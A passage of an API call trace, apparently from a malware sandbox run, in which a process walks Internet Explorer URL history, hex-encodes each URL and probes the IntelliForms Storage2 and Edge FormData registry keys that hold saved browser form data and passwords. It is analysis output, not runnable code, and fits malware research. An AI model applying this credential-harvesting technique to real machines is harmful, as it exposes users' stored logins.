lpString1="C9715C217179B108A39626CD23", lpString2="49" | out: lpString1="C9715C217179B108A39626CD2349") returned="C9715C217179B108A39626CD2349" [0053.516] LocalFree (hMem=0x758a18) returned 0x0 [0053.516] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="89") returned 2 [0053.516] lstrlenA (lpString="C9715C217179B108A39626CD2349") returned 28 [0053.516] lstrlenA (lpString="89") returned 2 [0053.516] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758a18 [0053.516] lstrcpyA (in: lpString1=0x758a18, lpString2="C9715C217179B108A39626CD2349" | out: lpString1="C9715C217179B108A39626CD2349") returned="C9715C217179B108A39626CD2349" [0053.516] lstrcatA (in: lpString1="C9715C217179B108A39626CD2349", lpString2="89" | out: lpString1="C9715C217179B108A39626CD234989") returned="C9715C217179B108A39626CD234989" [0053.516] LocalFree (hMem=0x758820) returned 0x0 [0053.516] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="CF") returned 2 [0053.516] lstrlenA (lpString="C9715C217179B108A39626CD234989") returned 30 [0053.516] lstrlenA (lpString="CF") returned 2 [0053.516] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754820 [0053.516] lstrcpyA (in: lpString1=0x754820, lpString2="C9715C217179B108A39626CD234989" | out: lpString1="C9715C217179B108A39626CD234989") returned="C9715C217179B108A39626CD234989" [0053.516] lstrcatA (in: lpString1="C9715C217179B108A39626CD234989", lpString2="CF" | out: lpString1="C9715C217179B108A39626CD234989CF") returned="C9715C217179B108A39626CD234989CF" [0053.516] LocalFree (hMem=0x758a18) returned 0x0 [0053.516] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="4C") returned 2 [0053.516] lstrlenA (lpString="C9715C217179B108A39626CD234989CF") returned 32 [0053.516] lstrlenA (lpString="4C") returned 2 [0053.516] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754a30 [0053.516] lstrcpyA (in: lpString1=0x754a30, lpString2="C9715C217179B108A39626CD234989CF" | out: lpString1="C9715C217179B108A39626CD234989CF") returned="C9715C217179B108A39626CD234989CF" [0053.516] lstrcatA (in: lpString1="C9715C217179B108A39626CD234989CF", lpString2="4C" | out: lpString1="C9715C217179B108A39626CD234989CF4C") returned="C9715C217179B108A39626CD234989CF4C" [0053.516] LocalFree (hMem=0x754820) returned 0x0 [0053.516] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="70") returned 2 [0053.516] lstrlenA (lpString="C9715C217179B108A39626CD234989CF4C") returned 34 [0053.516] lstrlenA (lpString="70") returned 2 [0053.516] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754820 [0053.516] lstrcpyA (in: lpString1=0x754820, lpString2="C9715C217179B108A39626CD234989CF4C" | out: lpString1="C9715C217179B108A39626CD234989CF4C") returned="C9715C217179B108A39626CD234989CF4C" [0053.516] lstrcatA (in: lpString1="C9715C217179B108A39626CD234989CF4C", lpString2="70" | out: lpString1="C9715C217179B108A39626CD234989CF4C70") returned="C9715C217179B108A39626CD234989CF4C70" [0053.516] LocalFree (hMem=0x754a30) returned 0x0 [0053.516] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="56") returned 2 [0053.516] lstrlenA (lpString="C9715C217179B108A39626CD234989CF4C70") returned 36 [0053.517] lstrlenA (lpString="56") returned 2 [0053.517] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754a30 [0053.517] lstrcpyA (in: lpString1=0x754a30, lpString2="C9715C217179B108A39626CD234989CF4C70" | out: lpString1="C9715C217179B108A39626CD234989CF4C70") returned="C9715C217179B108A39626CD234989CF4C70" [0053.517] lstrcatA (in: lpString1="C9715C217179B108A39626CD234989CF4C70", lpString2="56" | out: lpString1="C9715C217179B108A39626CD234989CF4C7056") returned="C9715C217179B108A39626CD234989CF4C7056" [0053.517] LocalFree (hMem=0x754820) returned 0x0 [0053.517] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="39") returned 2 [0053.517] lstrlenA (lpString="C9715C217179B108A39626CD234989CF4C7056") returned 38 [0053.517] lstrlenA (lpString="39") returned 2 [0053.517] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750bb8 [0053.517] lstrcpyA (in: lpString1=0x750bb8, lpString2="C9715C217179B108A39626CD234989CF4C7056" | out: lpString1="C9715C217179B108A39626CD234989CF4C7056") returned="C9715C217179B108A39626CD234989CF4C7056" [0053.517] lstrcatA (in: lpString1="C9715C217179B108A39626CD234989CF4C7056", lpString2="39" | out: lpString1="C9715C217179B108A39626CD234989CF4C705639") returned="C9715C217179B108A39626CD234989CF4C705639" [0053.517] LocalFree (hMem=0x754a30) returned 0x0 [0053.517] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="95") returned 2 [0053.517] lstrlenA (lpString="C9715C217179B108A39626CD234989CF4C705639") returned 40 [0053.517] lstrlenA (lpString="95") returned 2 [0053.517] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750a48 [0053.517] lstrcpyA (in: lpString1=0x750a48, lpString2="C9715C217179B108A39626CD234989CF4C705639" | out: lpString1="C9715C217179B108A39626CD234989CF4C705639") returned="C9715C217179B108A39626CD234989CF4C705639" [0053.517] lstrcatA (in: lpString1="C9715C217179B108A39626CD234989CF4C705639", lpString2="95" | out: lpString1="C9715C217179B108A39626CD234989CF4C70563995") returned="C9715C217179B108A39626CD234989CF4C70563995" [0053.517] LocalFree (hMem=0x750bb8) returned 0x0 [0053.517] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.517] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.517] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.517] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.517] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.517] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.517] LocalFree (hMem=0x750a48) returned 0x0 [0053.517] CoTaskMemFree (pv=0x735d00) [0053.518] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.518] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/PqiXBSIX-L8uSYHKKM1W.ppt", lpSrch="?") returned 0x0 [0053.518] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/AppData/Roaming/PqiXBSIX-L8uSYHKKM1W.ppt") returned 74 [0053.518] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="EE") returned 2 [0053.518] lstrlenA (lpString="") returned 0 [0053.518] lstrlenA (lpString="EE") returned 2 [0053.518] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x75c638 [0053.518] lstrcpyA (in: lpString1=0x75c638, lpString2="" | out: lpString1="") returned="" [0053.518] lstrcatA (in: lpString1="", lpString2="EE" | out: lpString1="EE") returned="EE" [0053.518] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="96") returned 2 [0053.518] lstrlenA (lpString="EE") returned 2 [0053.518] lstrlenA (lpString="96") returned 2 [0053.518] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x75ecd0 [0053.518] lstrcpyA (in: lpString1=0x75ecd0, lpString2="EE" | out: lpString1="EE") returned="EE" [0053.518] lstrcatA (in: lpString1="EE", lpString2="96" | out: lpString1="EE96") returned="EE96" [0053.518] LocalFree (hMem=0x75c638) returned 0x0 [0053.518] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="AB") returned 2 [0053.518] lstrlenA (lpString="EE96") returned 4 [0053.518] lstrlenA (lpString="AB") returned 2 [0053.518] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x75c638 [0053.518] lstrcpyA (in: lpString1=0x75c638, lpString2="EE96" | out: lpString1="EE96") returned="EE96" [0053.518] lstrcatA (in: lpString1="EE96", lpString2="AB" | out: lpString1="EE96AB") returned="EE96AB" [0053.518] LocalFree (hMem=0x75ecd0) returned 0x0 [0053.518] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="5F") returned 2 [0053.518] lstrlenA (lpString="EE96AB") returned 6 [0053.518] lstrlenA (lpString="5F") returned 2 [0053.518] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x75ecd0 [0053.518] lstrcpyA (in: lpString1=0x75ecd0, lpString2="EE96AB" | out: lpString1="EE96AB") returned="EE96AB" [0053.518] lstrcatA (in: lpString1="EE96AB", lpString2="5F" | out: lpString1="EE96AB5F") returned="EE96AB5F" [0053.518] LocalFree (hMem=0x75c638) returned 0x0 [0053.518] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="D5") returned 2 [0053.518] lstrlenA (lpString="EE96AB5F") returned 8 [0053.518] lstrlenA (lpString="D5") returned 2 [0053.518] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x75ed68 [0053.518] lstrcpyA (in: lpString1=0x75ed68, lpString2="EE96AB5F" | out: lpString1="EE96AB5F") returned="EE96AB5F" [0053.518] lstrcatA (in: lpString1="EE96AB5F", lpString2="D5" | out: lpString1="EE96AB5FD5") returned="EE96AB5FD5" [0053.518] LocalFree (hMem=0x75ecd0) returned 0x0 [0053.518] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="B3") returned 2 [0053.518] lstrlenA (lpString="EE96AB5FD5") returned 10 [0053.518] lstrlenA (lpString="B3") returned 2 [0053.519] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x75ecd0 [0053.519] lstrcpyA (in: lpString1=0x75ecd0, lpString2="EE96AB5FD5" | out: lpString1="EE96AB5FD5") returned="EE96AB5FD5" [0053.519] lstrcatA (in: lpString1="EE96AB5FD5", lpString2="B3" | out: lpString1="EE96AB5FD5B3") returned="EE96AB5FD5B3" [0053.519] LocalFree (hMem=0x75ed68) returned 0x0 [0053.519] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E4") returned 2 [0053.519] lstrlenA (lpString="EE96AB5FD5B3") returned 12 [0053.519] lstrlenA (lpString="E4") returned 2 [0053.519] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x75ed68 [0053.519] lstrcpyA (in: lpString1=0x75ed68, lpString2="EE96AB5FD5B3" | out: lpString1="EE96AB5FD5B3") returned="EE96AB5FD5B3" [0053.519] lstrcatA (in: lpString1="EE96AB5FD5B3", lpString2="E4" | out: lpString1="EE96AB5FD5B3E4") returned="EE96AB5FD5B3E4" [0053.519] LocalFree (hMem=0x75ecd0) returned 0x0 [0053.519] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="EC") returned 2 [0053.519] lstrlenA (lpString="EE96AB5FD5B3E4") returned 14 [0053.519] lstrlenA (lpString="EC") returned 2 [0053.519] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x75ee00 [0053.519] lstrcpyA (in: lpString1=0x75ee00, lpString2="EE96AB5FD5B3E4" | out: lpString1="EE96AB5FD5B3E4") returned="EE96AB5FD5B3E4" [0053.519] lstrcatA (in: lpString1="EE96AB5FD5B3E4", lpString2="EC" | out: lpString1="EE96AB5FD5B3E4EC") returned="EE96AB5FD5B3E4EC" [0053.519] LocalFree (hMem=0x75ed68) returned 0x0 [0053.519] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="FE") returned 2 [0053.519] lstrlenA (lpString="EE96AB5FD5B3E4EC") returned 16 [0053.519] lstrlenA (lpString="FE") returned 2 [0053.519] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x75ecd0 [0053.519] lstrcpyA (in: lpString1=0x75ecd0, lpString2="EE96AB5FD5B3E4EC" | out: lpString1="EE96AB5FD5B3E4EC") returned="EE96AB5FD5B3E4EC" [0053.519] lstrcatA (in: lpString1="EE96AB5FD5B3E4EC", lpString2="FE" | out: lpString1="EE96AB5FD5B3E4ECFE") returned="EE96AB5FD5B3E4ECFE" [0053.519] LocalFree (hMem=0x75ee00) returned 0x0 [0053.519] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="9F") returned 2 [0053.519] lstrlenA (lpString="EE96AB5FD5B3E4ECFE") returned 18 [0053.519] lstrlenA (lpString="9F") returned 2 [0053.519] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x75ed70 [0053.519] lstrcpyA (in: lpString1=0x75ed70, lpString2="EE96AB5FD5B3E4ECFE" | out: lpString1="EE96AB5FD5B3E4ECFE") returned="EE96AB5FD5B3E4ECFE" [0053.519] lstrcatA (in: lpString1="EE96AB5FD5B3E4ECFE", lpString2="9F" | out: lpString1="EE96AB5FD5B3E4ECFE9F") returned="EE96AB5FD5B3E4ECFE9F" [0053.519] LocalFree (hMem=0x75ecd0) returned 0x0 [0053.519] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="A7") returned 2 [0053.519] lstrlenA (lpString="EE96AB5FD5B3E4ECFE9F") returned 20 [0053.519] lstrlenA (lpString="A7") returned 2 [0053.519] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x75ecd0 [0053.519] lstrcpyA (in: lpString1=0x75ecd0, lpString2="EE96AB5FD5B3E4ECFE9F" | out: lpString1="EE96AB5FD5B3E4ECFE9F") returned="EE96AB5FD5B3E4ECFE9F" [0053.519] lstrcatA (in: lpString1="EE96AB5FD5B3E4ECFE9F", lpString2="A7" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7") returned="EE96AB5FD5B3E4ECFE9FA7" [0053.519] LocalFree (hMem=0x75ed70) returned 0x0 [0053.519] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="E8") returned 2 [0053.519] lstrlenA (lpString="EE96AB5FD5B3E4ECFE9FA7") returned 22 [0053.519] lstrlenA (lpString="E8") returned 2 [0053.519] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x758a18 [0053.519] lstrcpyA (in: lpString1=0x758a18, lpString2="EE96AB5FD5B3E4ECFE9FA7" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7") returned="EE96AB5FD5B3E4ECFE9FA7" [0053.519] lstrcatA (in: lpString1="EE96AB5FD5B3E4ECFE9FA7", lpString2="E8" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7E8") returned="EE96AB5FD5B3E4ECFE9FA7E8" [0053.519] LocalFree (hMem=0x75ecd0) returned 0x0 [0053.519] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="3F") returned 2 [0053.519] lstrlenA (lpString="EE96AB5FD5B3E4ECFE9FA7E8") returned 24 [0053.519] lstrlenA (lpString="3F") returned 2 [0053.519] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x758820 [0053.519] lstrcpyA (in: lpString1=0x758820, lpString2="EE96AB5FD5B3E4ECFE9FA7E8" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7E8") returned="EE96AB5FD5B3E4ECFE9FA7E8" [0053.519] lstrcatA (in: lpString1="EE96AB5FD5B3E4ECFE9FA7E8", lpString2="3F" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F") returned="EE96AB5FD5B3E4ECFE9FA7E83F" [0053.519] LocalFree (hMem=0x758a18) returned 0x0 [0053.519] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="5E") returned 2 [0053.519] lstrlenA (lpString="EE96AB5FD5B3E4ECFE9FA7E83F") returned 26 [0053.519] lstrlenA (lpString="5E") returned 2 [0053.519] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x758a18 [0053.519] lstrcpyA (in: lpString1=0x758a18, lpString2="EE96AB5FD5B3E4ECFE9FA7E83F" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F") returned="EE96AB5FD5B3E4ECFE9FA7E83F" [0053.519] lstrcatA (in: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F", lpString2="5E" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5E") returned="EE96AB5FD5B3E4ECFE9FA7E83F5E" [0053.520] LocalFree (hMem=0x758820) returned 0x0 [0053.520] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="C9") returned 2 [0053.520] lstrlenA (lpString="EE96AB5FD5B3E4ECFE9FA7E83F5E") returned 28 [0053.520] lstrlenA (lpString="C9") returned 2 [0053.520] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x758820 [0053.520] lstrcpyA (in: lpString1=0x758820, lpString2="EE96AB5FD5B3E4ECFE9FA7E83F5E" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5E") returned="EE96AB5FD5B3E4ECFE9FA7E83F5E" [0053.520] lstrcatA (in: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5E", lpString2="C9" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5EC9") returned="EE96AB5FD5B3E4ECFE9FA7E83F5EC9" [0053.520] LocalFree (hMem=0x758a18) returned 0x0 [0053.520] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="56") returned 2 [0053.520] lstrlenA (lpString="EE96AB5FD5B3E4ECFE9FA7E83F5EC9") returned 30 [0053.520] lstrlenA (lpString="56") returned 2 [0053.520] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x754a30 [0053.520] lstrcpyA (in: lpString1=0x754a30, lpString2="EE96AB5FD5B3E4ECFE9FA7E83F5EC9" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5EC9") returned="EE96AB5FD5B3E4ECFE9FA7E83F5EC9" [0053.520] lstrcatA (in: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5EC9", lpString2="56" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5EC956") returned="EE96AB5FD5B3E4ECFE9FA7E83F5EC956" [0053.520] LocalFree (hMem=0x758820) returned 0x0 [0053.520] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="95") returned 2 [0053.520] lstrlenA (lpString="EE96AB5FD5B3E4ECFE9FA7E83F5EC956") returned 32 [0053.520] lstrlenA (lpString="95") returned 2 [0053.520] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x754820 [0053.520] lstrcpyA (in: lpString1=0x754820, lpString2="EE96AB5FD5B3E4ECFE9FA7E83F5EC956" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5EC956") returned="EE96AB5FD5B3E4ECFE9FA7E83F5EC956" [0053.520] lstrcatA (in: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5EC956", lpString2="95" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5EC95695") returned="EE96AB5FD5B3E4ECFE9FA7E83F5EC95695" [0053.520] LocalFree (hMem=0x754a30) returned 0x0 [0053.520] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="6C") returned 2 [0053.520] lstrlenA (lpString="EE96AB5FD5B3E4ECFE9FA7E83F5EC95695") returned 34 [0053.520] lstrlenA (lpString="6C") returned 2 [0053.520] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x754a30 [0053.520] lstrcpyA (in: lpString1=0x754a30, lpString2="EE96AB5FD5B3E4ECFE9FA7E83F5EC95695" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5EC95695") returned="EE96AB5FD5B3E4ECFE9FA7E83F5EC95695" [0053.520] lstrcatA (in: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5EC95695", lpString2="6C" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C") returned="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C" [0053.520] LocalFree (hMem=0x754820) returned 0x0 [0053.520] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="67") returned 2 [0053.520] lstrlenA (lpString="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C") returned 36 [0053.520] lstrlenA (lpString="67") returned 2 [0053.520] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x754820 [0053.520] lstrcpyA (in: lpString1=0x754820, lpString2="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C") returned="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C" [0053.520] lstrcatA (in: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C", lpString2="67" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C67") returned="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C67" [0053.520] LocalFree (hMem=0x754a30) returned 0x0 [0053.520] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="56") returned 2 [0053.520] lstrlenA (lpString="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C67") returned 38 [0053.520] lstrlenA (lpString="56") returned 2 [0053.520] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x750a48 [0053.520] lstrcpyA (in: lpString1=0x750a48, lpString2="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C67" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C67") returned="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C67" [0053.520] lstrcatA (in: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C67", lpString2="56" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C6756") returned="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C6756" [0053.520] LocalFree (hMem=0x754820) returned 0x0 [0053.520] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="8C") returned 2 [0053.520] lstrlenA (lpString="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C6756") returned 40 [0053.520] lstrlenA (lpString="8C") returned 2 [0053.520] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x750bb8 [0053.520] lstrcpyA (in: lpString1=0x750bb8, lpString2="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C6756" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C6756") returned="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C6756" [0053.520] lstrcatA (in: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C6756", lpString2="8C" | out: lpString1="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C67568C") returned="EE96AB5FD5B3E4ECFE9FA7E83F5EC956956C67568C" [0053.520] LocalFree (hMem=0x750a48) returned 0x0 [0053.520] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.521] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.521] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.521] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20019, phkResult=0xefc8c | out: phkResult=0xefc8c*=0x0) returned 0x2 [0053.521] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20219, phkResult=0xefc60 | out: phkResult=0xefc60*=0x0) returned 0x2 [0053.521] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppContainer\\Storage\\microsoft.microsoftedge_8wekyb3d8bbwe\\MicrosoftEdge\\IntelliForms\\FormData", ulOptions=0x0, samDesired=0x20119, phkResult=0xefc34 | out: phkResult=0xefc34*=0x0) returned 0x2 [0053.521] LocalFree (hMem=0x750bb8) returned 0x0 [0053.521] CoTaskMemFree (pv=0x75ec30) [0053.521] IEnumSTATURL:Next (in: This=0x75a808, celt=0x1, rgelt=0xefd34, pceltFetched=0xefd30*=0x0 | out: rgelt=0xefd34, pceltFetched=0xefd30*=0x1) returned 0x0 [0053.521] StrStrIW (lpFirst="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/2siSwt/sbR2OVyx2eySl1bjldF3.swf", lpSrch="?") returned 0x0 [0053.521] lstrlenW (lpString="file:///C:/Users/aDU0VK%20IWA5kLS/Videos/izSAyEheYraQGJ1lE/KdHsmKYDr7d3r/2siSwt/sbR2OVyx2eySl1bjldF3.swf") returned 104 [0053.521] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="2F") returned 2 [0053.521] lstrlenA (lpString="") returned 0 [0053.522] lstrlenA (lpString="2F") returned 2 [0053.522] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x75c638 [0053.522] lstrcpyA (in: lpString1=0x75c638, lpString2="" | out: lpString1="") returned="" [0053.522] lstrcatA (in: lpString1="", lpString2="2F" | out: lpString1="2F") returned="2F" [0053.522] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="F3") returned 2 [0053.522] lstrlenA (lpString="2F") returned 2 [0053.522] lstrlenA (lpString="F3") returned 2 [0053.522] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x75f170 [0053.522] lstrcpyA (in: lpString1=0x75f170, lpString2="2F" | out: lpString1="2F") returned="2F" [0053.522] lstrcatA (in: lpString1="2F", lpString2="F3" | out: lpString1="2FF3") returned="2FF3" [0053.522] LocalFree (hMem=0x75c638) returned 0x0 [0053.522] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="DD") returned 2 [0053.522] lstrlenA (lpString="2FF3") returned 4 [0053.522] lstrlenA (lpString="DD") returned 2 [0053.522] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x75c638 [0053.522] lstrcpyA (in: lpString1=0x75c638, lpString2="2FF3" | out: lpString1="2FF3") returned="2FF3" [0053.522] lstrcatA (in: lpString1="2FF3", lpString2="DD" | out: lpString1="2FF3DD") returned="2FF3DD" [0053.522] LocalFree (hMem=0x75f170) returned 0x0 [0053.522] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="03") returned 2 [0053.522] lstrlenA (lpString="2FF3DD") returned 6 [0053.522] lstrlenA (lpString="03") returned 2 [0053.522] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x75f170 [0053.522] lstrcpyA (in: lpString1=0x75f170, lpString2="2FF3DD" | out: lpString1="2FF3DD") returned="2FF3DD" [0053.522] lstrcatA (in: lpString1="2FF3DD", lpString2="03" | out: lpString1="2FF3DD03") returned="2FF3DD03" [0053.522] LocalFree (hMem=0x75c638) returned 0x0 [0053.522] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="3B") returned 2 [0053.522] lstrlenA (lpString="2FF3DD03") returned 8 [0053.522] lstrlenA (lpString="3B") returned 2 [0053.522] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x75f208 [0053.522] lstrcpyA (in: lpString1=0x75f208, lpString2="2FF3DD03" | out: lpString1="2FF3DD03") returned="2FF3DD03" [0053.522] lstrcatA (in: lpString1="2FF3DD03", lpString2="3B" | out: lpString1="2FF3DD033B") returned="2FF3DD033B" [0053.522] LocalFree (hMem=0x75f170) returned 0x0 [0053.522] wsprintfA (in: param_1=0xefcf0, param_2="%02X" | out: param_1="67") returned 2 [0053.522] lstrlenA (lpString="2FF3DD033B") returned 10 [0053.522] lstrlenA (lpString="67") returned 2 [0053.522] 